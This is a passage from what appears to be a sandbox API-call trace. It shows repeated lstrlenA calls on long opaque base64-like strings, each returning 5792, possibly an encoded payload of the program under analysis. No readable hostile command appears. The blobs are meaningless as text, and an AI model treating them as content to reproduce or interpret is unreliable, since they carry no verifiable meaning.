MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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